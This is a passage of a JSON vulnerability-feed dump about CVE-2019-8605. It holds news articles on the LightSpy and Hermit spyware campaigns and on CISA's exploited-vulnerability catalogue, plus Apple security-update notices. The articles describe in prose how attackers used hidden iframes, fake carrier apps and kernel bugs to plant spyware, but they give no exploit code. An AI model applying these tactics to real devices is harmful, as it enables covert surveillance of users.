vulnerabilities present in iOS 12.1 and 12.2 spanning all models from iPhone 6 to the iPhone X, with the attacks first identified on January 10, before intensifying around February 18. \n \n\n\n## Using Malicious Links as Bait to Install Spyware\n\n \nThe campaign uses fake links posted on multiple forums, all popular with Hong Kong residents, that claim to lead to various news stories related to topics that are either sex-related, clickbait, or news related to the ongoing [COVID-19 coronavirus pandemic](<https://thehackernews.com/2020/03/coronavirus-covid-apps-android.html>). \n \n\n\n[](<https://thehackernews.com/images/-FpfyWqHfZwM/Xn3ax54v7KI/AAAAAAAA2l0/Qnbknv9giCoe56A0wYQspJ0QeHK3488rACLcBGAsYHQ/s728-e100/iphone-iOS-spyware.jpg>)\n\n \nClicking the URLs lead the users to legitimate news outlets that have been compromised as well as websites set up specifically for this campaign (e.g., hxxps://appledaily.googlephoto[.]vip/news[.]html) by the operators. In both situations, a hidden iframe is employed to load and execute malicious code. \n \n\"The URLs used led to a malicious website created by the attacker, which in turn contained three iframes that pointed to different sites,\" Trend Micro researchers said. \"The only visible iframe leads to a legitimate news site, which makes people believe they are visiting the said site. One invisible iframe was used for website analytics; the other led to a site hosting the main script of the iOS exploits.\" \n \n\n\n[](<https://thehackernews.com/images/-AxnRxcDhqWc/Xn3cxpkv1PI/AAAAAAAAAI8/lOdz7V7vuZw_2ZBxT19dd6OPDeL82FfDwCLcBGAsYHQ/s728-e100/ios-exploit-malware.jpg>)\n\n \nThe malware in question exploits a \"silently patched\" Safari vulnerability, which when rendered on the browser leads to the exploitation of a [use after free memory flaw](<https://cwe.mitre.org/data/definitions/416.html>) (tracked as [CVE-2019-8605](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8605>)) that allows an attacker to execute arbitrary code with root privileges \u2014 in this case, install the proprietary LightSpy backdoor. The bug has since been resolved with the release of iOS 12.3, macOS Mojave 10.14.5, tvOS 12.3, and watchOS 5.2.1. \n \nThe spyware is not just capable of remotely executing shell commands and taking full control of the device. It also contains a variety of downloadable modules that allow for data exfiltration, such as contact lists, GPS location, Wi-Fi connection history, hardware data, iOS keychains, phone call records, mobile Safari and Chrome browser history, and SMS messages. \n \nIn addition, LightSpy targets messaging applications like Telegram, QQ, and WeChat to steal account information, contacts, groups, messages, and attached files. \n \n\n\n## A Surveillance Operation Targeting Southeast Asia\n\n \nIt is suspected the TwoSail Junk gang is connected to, or possibly the same, as the operators of \"[dmsSpy](<https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/>),\" an Android variant of the same malware that was distributed last year through open Telegram channels under the guise of Hong Kong protest calendar apps among others. \n \n\"dmsSpy's download and command-and-control servers used the same domain name (hkrevolution[.]club) as one of the watering holes used by the iOS component of Poisoned News,\" the researchers observed. \n \nOnce installed, these rogue Android apps harvested and exfiltrated contacts, text messages, the user's location, and the names of stored files. \n \n\"This particular framework and infrastructure is an interesting example of an agile approach to developing and deploying surveillance framework in Southeast Asia,\" Kaspersky researchers concluded. \n \nTrend Micro, for its part, suggested the design and functionality of the campaign aim to compromise as many mobile devices as possible to enable device backdooring and surveillance. \n \nTo mitigate such threats, it's essential that users keep their devices up-to-date and avoid sideloading apps on Android from unauthorized sources.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-03-27T11:26:00", "type": "thn", "title": "Hackers Used Local News Sites to Install Spyware On iPhones", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2020-03-27T11:32:12", "id": "THN:38E80608368A67C138D1E4D8187D2AA3", "href": "https://thehackernews.com/2020/03/iphone-iOS-spyware.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-06-27T05:57:36", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEi_58XOVBOF2WpPZngrxCJrgYE6cjkbHpIcr-GX7d5Uzhck2ObXSwQKiQTpq9FmEN3WmoMkwju5efF9Xc01CVrFq1eFhtqleQPi7XpbXcsShqMm6ZWg3YasiFzVSrhfNa_036T7P-qZVmq81PX66kNUWzIRXGQ4MlR1GF-UHRjfbpNeyFAavp0k0JZC/s728-e100/spyware.jpg>)\n\nA week after it emerged that a sophisticated mobile spyware dubbed Hermit was used by the government of Kazakhstan within its borders, Google said it has notified Android users of infected devices.\n\nAdditionally, necessary changes have been implemented in [Google Play Protect](<https://support.google.com/googleplay/answer/2812853?hl=en>) \u2014 Android's built-in malware defense service \u2014 to protect all users, Benoit Sevens and Clement Lecigne of Google Threat Analysis Group (TAG) [said](<https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/>) in a Thursday report.\n\nHermit, the work of an Italian vendor named RCS Lab, was [documented](<https://thehackernews.com/2022/06/researchers-uncover-hermit-android.html>) by Lookout last week, calling out its modular feature-set and its abilities to harvest sensitive information such as call logs, contacts, photos, precise location, and SMS messages.\n\nOnce the threat has thoroughly insinuated itself into a device, it's also equipped to record audio and make and redirect phone calls, besides abusing its permissions to accessibility services on Android to keep tabs on various foreground apps used by the victims.\n\nIts modularity also enables it to be wholly customizable, equipping the spyware's functionality to be extended or altered at will. It's not immediately clear who were targeted in the campaign, or which of RCS Lab clients were involved. \n\nThe Milan-based company, operating since 1993, [claims](<https://www.rcslab.it/en/about-us/index.html>) to provide \"law enforcement agencies worldwide with cutting-edge technological solutions and technical support in the field of lawful interception for more than twenty years.\" More than 10,000 intercepted targets are purported to be handled daily in Europe alone.\n\n\"Hermit is yet another example of a digital weapon being used to target civilians and their mobile devices, and the data collected by the malicious parties involved will surely be invaluable,\" Richard Melick, director of threat reporting for Zimperium, said.\n\nThe targets have their phones infected with the spy tool via drive-by downloads as initial infection vectors, which, in turn, entails sending a unique link in an SMS message that, upon clicking, activates the attack chain.\n\nIt's suspected that the actors worked in collaboration with the targets' internet service providers (ISPs) to disable their mobile data connectivity, followed by sending an SMS that urged the recipients to install an application to restore mobile data access.\n\n\"We believe this is the reason why most of the applications masqueraded as mobile carrier applications,\" the researchers said. \"When ISP involvement is not possible, applications are masqueraded as messaging applications.\"\n\nTo compromise iOS users, the adversary is said to have relied on provisioning profiles that allow fake carrier-branded apps to be sideloaded onto the devices without the need for them to be available on the App Store.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgKxf3LTdIpRlLTdHVMxJz6DMcp25ikFt0T4002dNVYUAA6N0eJGSGDEFVP-CRn4VeFeAxsc_k4l9zOPwHc_D1G_ZenuJ81jtGLPAQRJ08AE58sXgpjH7D9NTWe8fkjGVzgwdoTblTH8Jx9fB9hC_Yw2E7qbLfLScV80Ub9Hs9ZWfMo-n8iuihKPw85/s728-e100/android.jpg>)\n\nAn analysis of the iOS version of the app shows that it leverages as many as six exploits \u2014 [CVE-2018-4344](<https://nvd.nist.gov/vuln/detail/CVE-2018-4344>), [CVE-2019-8605](<https://nvd.nist.gov/vuln/detail/cve-2019-8605>), [CVE-2020-3837](<https://nvd.nist.gov/vuln/detail/CVE-2020-3837>), [CVE-2020-9907](<https://nvd.nist.gov/vuln/detail/CVE-2020-9907>), [CVE-2021-30883](<https://thehackernews.com/2021/10/apple-releases-urgent-iphone-and-ipad.html>), and [CVE-2021-30983](<https://thehackernews.com/2021/12/latest-apple-ios-update-patches-remote.html>) \u2014 to exfiltrate files of interest, such as WhatsApp databases, from the device.\n\n\"As the curve slowly shifts towards memory corruption exploitation getting more expensive, attackers are likely shifting too,\" Google Project Zero's Ian Beer [said](<https://googleprojectzero.blogspot.com/2022/06/curious-case-carrier-app.html>) in a deep-dive analysis of an iOS artifact that impersonated the My Vodafone carrier app.\n\nOn Android, the drive-by attacks require that victims enable a setting to install third-party applications from unknown sources, doing so which results in the rogue app, masquerading as smartphone brands like Samsung, requesting for extensive permissions to achieve its malicious goals.\n\nThe Android variant, besides attempting to root the device for entrenched access, is also wired differently in that instead of bundling exploits in the APK file, it contains functionality that permits it to fetch and execute arbitrary remote components that can communicate with the main app.\n\n\"This campaign is a good reminder that attackers do not always use exploits to achieve the permissions they need,\" the researchers noted. \"Basic infection vectors and drive by downloads still work and can be very efficient with the help from local ISPs.\"\n\nStating that seven of the nine zero-day exploits it discovered in 2021 were developed by [commercial providers](<https://thehackernews.com/2022/05/cytroxs-predator-spyware-target-android.html>) and sold to and used by [government-backed actors](<https://thehackernews.com/2022/06/nso-confirms-pegasus-spyware-used-by-at.html>), the tech behemoth said it's tracking more than 30 vendors with varying levels of sophistication who are known to trade exploits and surveillance capabilities.\n\nWhat's more, Google TAG raised concerns that vendors like RCS Lab are \"stockpiling zero-day vulnerabilities in secret\" and cautioned that this poses severe risks considering a number of spyware vendors have been compromised over the past ten years, \"raising the specter that their stockpiles can be released publicly without warning.\"\n\n\"Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits,\" TAG said.\n\n\"While use of surveillance technologies may be legal under national or international laws, they are often found to be used by governments for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers and opposition party politicians.\"\n\n**_Update:_** When reached for comment, RCS Lab said its \"core business is the design, production and implementation of software platforms dedicated to lawful interception, forensic intelligence, and data analysis\" and that it helps law enforcement prevent and investigate serious crimes such as acts of terrorism, drug trafficking, organized crime, child abuse, and corruption.\n\nHere is the rest of unattributed statement -\n\n_RCS Lab exports its products in compliance with both national and European rules and regulations. Any sales or implementation of products is performed only after receiving an official authorization from the competent authorities. Our products are delivered and installed within the premises of approved customers. RCS Lab personnel are not exposed, nor participate in any activities conducted by the relevant customers. RCS Lab strongly condemns any abuse or improper use of its products which are designed and produced with the intent of supporting the legal system in preventing and combating crime._\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-24T11:40:00", "type": "thn", "title": "Google Says ISPs Helped Attackers Infect Targeted Smartphones with Hermit Spyware", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4344", "CVE-2019-8605", "CVE-2020-3837", "CVE-2020-9907", "CVE-2021-30883", "CVE-2021-30983"], "modified": "2022-06-27T05:57:22", "id": "THN:C19BDA30D2242223E7A434F1E4051E68", "href": "https://thehackernews.com/2022/06/google-says-isps-helped-attackers.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-07-01T17:21:05", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh27MmgEKR4VQaH1Y1a5Tyhwi79vrhj-AlRf9D39bbkC4uyHLaQzptydYJYrq3DKH2rTA6dQpDGZ27k3bvxNHSKdcitKwKFPIdvSmUGI1uOwO-fI9TRSnHoUJQfaugfF7mE9l6fJbgMIAQ61Efis8jhvOy2YtnehFwVfXvcGkeFB_B4M4sD49Jz8xiw/s728-e100/linux.jpg>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) this week moved to [add](<https://www.cisa.gov/uscert/ncas/current-activity/2022/06/27/cisa-adds-eight-known-exploited-vulnerabilities-catalog>) a Linux vulnerability dubbed **PwnKit** to its [Known Exploited Vulnerabilities Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>), citing evidence of active exploitation.\n\nThe issue, tracked as [CVE-2021-4034](<https://nvd.nist.gov/vuln/detail/CVE-2021-4034>) (CVSS score: 7.8), came to light in January 2022 and concerns a case of [local privilege escalation](<https://thehackernews.com/2022/01/12-year-old-polkit-flaw-lets.html>) in polkit's pkexec utility, which allows an authorized user to execute commands as another user.\n\nPolkit (formerly called PolicyKit) is a toolkit for controlling system-wide privileges in Unix-like operating systems, and provides a mechanism for non-privileged processes to communicate with privileged processes.\n\nSuccessful exploitation of the flaw could induce pkexec to execute arbitrary code, granting an unprivileged attacker administrative rights on the target machine. It's not immediately clear how the vulnerability is being weaponized in the wild, nor is there any information on the identity of the threat actor that may be exploiting it.\n\nAlso included in the catalog is [CVE-2021-30533](<https://blog.confiant.com/malvertising-threat-actor-yosec-exploits-browser-bugs-to-push-malware-cve-2021-1765-3040dd3c4af1>), a security shortcoming in Chromium-based web browsers that was leveraged by a malvertising threat actor codenamed Yosec to deliver dangerous payloads last year.\n\nFurthermore, the agency added the newly disclosed Mitel VoIP zero-day ([CVE-2022-29499](<https://thehackernews.com/2022/06/hackers-exploit-mitel-voip-zero-day-bug.html>)) as well as [five Apple iOS vulnerabilities](<https://thehackernews.com/2022/06/google-says-isps-helped-attackers.html>) (CVE-2018-4344, CVE-2019-8605, CVE-2020-9907, CVE-2020-3837, and CVE-2021-30983) that were recently uncovered as having been abused by Italian spyware vendor RCS Lab.\n\nTo mitigate any potential risk of exposure to cyberattacks, it's recommended that organizations prioritize timely remediation of the issues. Federal Civilian Executive Branch Agencies, however, are required to mandatorily patch the flaws by July 18, 2022.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-29T04:01:00", "type": "thn", "title": "CISA Warns of Active Exploitation of 'PwnKit' Linux Vulnerability in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4344", "CVE-2019-8605", "CVE-2020-3837", "CVE-2020-9907", "CVE-2021-1765", "CVE-2021-30533", "CVE-2021-30983", "CVE-2021-4034", "CVE-2022-29499"], "modified": "2022-07-01T15:53:51", "id": "THN:4376782A3F009FEED68FDD2022A11EF5", "href": "https://thehackernews.com/2022/06/cisa-warns-of-active-exploitation-of.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "apple": [{"lastseen": "2022-02-19T19:30:16", "description": "# About the security content of macOS Mojave 10.14.6 Supplemental Update\n\nThis document describes the security content of macOS Mojave 10.14.6 Supplemental Update.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## macOS Mojave 10.14.6 Supplemental Update\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: macOS Mojave 10.14.6\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n\n\n\nInstalling macOS Mojave 10.14.6 Supplemental Update updates the build number of macOS to 18G95. This build contains the security content described in this article. If you updated to macOS Mojave 10.14.6 and your macOS build is not 18G95, make sure you also install the Supplemental Update. \n\nLearn how to [find the macOS version and build number on your Mac](<https://support.apple.com/kb/HT201260>).\n\nLearn how to [update the software on your Mac](<https://support.apple.com/kb/HT201541>).\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 17, 2019\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-08-26T00:00:00", "type": "apple", "title": "About the security content of macOS Mojave 10.14.6 Supplemental Update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-26T00:00:00", "id": "APPLE:94AE87E523DE7DA7141C877658AAFAAF", "href": "https://support.apple.com/kb/HT210548", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:42:51", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## macOS Mojave 10.14.6 Supplemental Update\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: macOS Mojave 10.14.6\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n\n\n\nInstalling macOS Mojave 10.14.6 Supplemental Update updates the build number of macOS to 18G95. This build contains the security content described in this article. If you updated to macOS Mojave 10.14.6 and your macOS build is not 18G95, make sure you also install the Supplemental Update. \n\nLearn how to [find the macOS version and build number on your Mac](<https://support.apple.com/kb/HT201260>).\n\nLearn how to [update the software on your Mac](<https://support.apple.com/kb/HT201541>).\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-09-17T06:05:09", "title": "About the security content of macOS Mojave 10.14.6 Supplemental Update - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-09-17T06:05:09", "id": "APPLE:HT210548", "href": "https://support.apple.com/kb/HT210548", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:42:33", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-09-17T06:06:38", "title": "About the security content of iOS 12.4.1 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-09-17T06:06:38", "id": "APPLE:HT210549", "href": "https://support.apple.com/kb/HT210549", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:43:58", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## tvOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-09-17T06:03:47", "title": "About the security content of tvOS 12.4.1 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-09-17T06:03:47", "id": "APPLE:HT210550", "href": "https://support.apple.com/kb/HT210550", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-14T04:13:57", "description": "# About the security content of iOS 12.4.1\n\nThis document describes the security content of iOS 12.4.1.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 17, 2019\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-08-26T00:00:00", "type": "apple", "title": "About the security content of iOS 12.4.1", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": 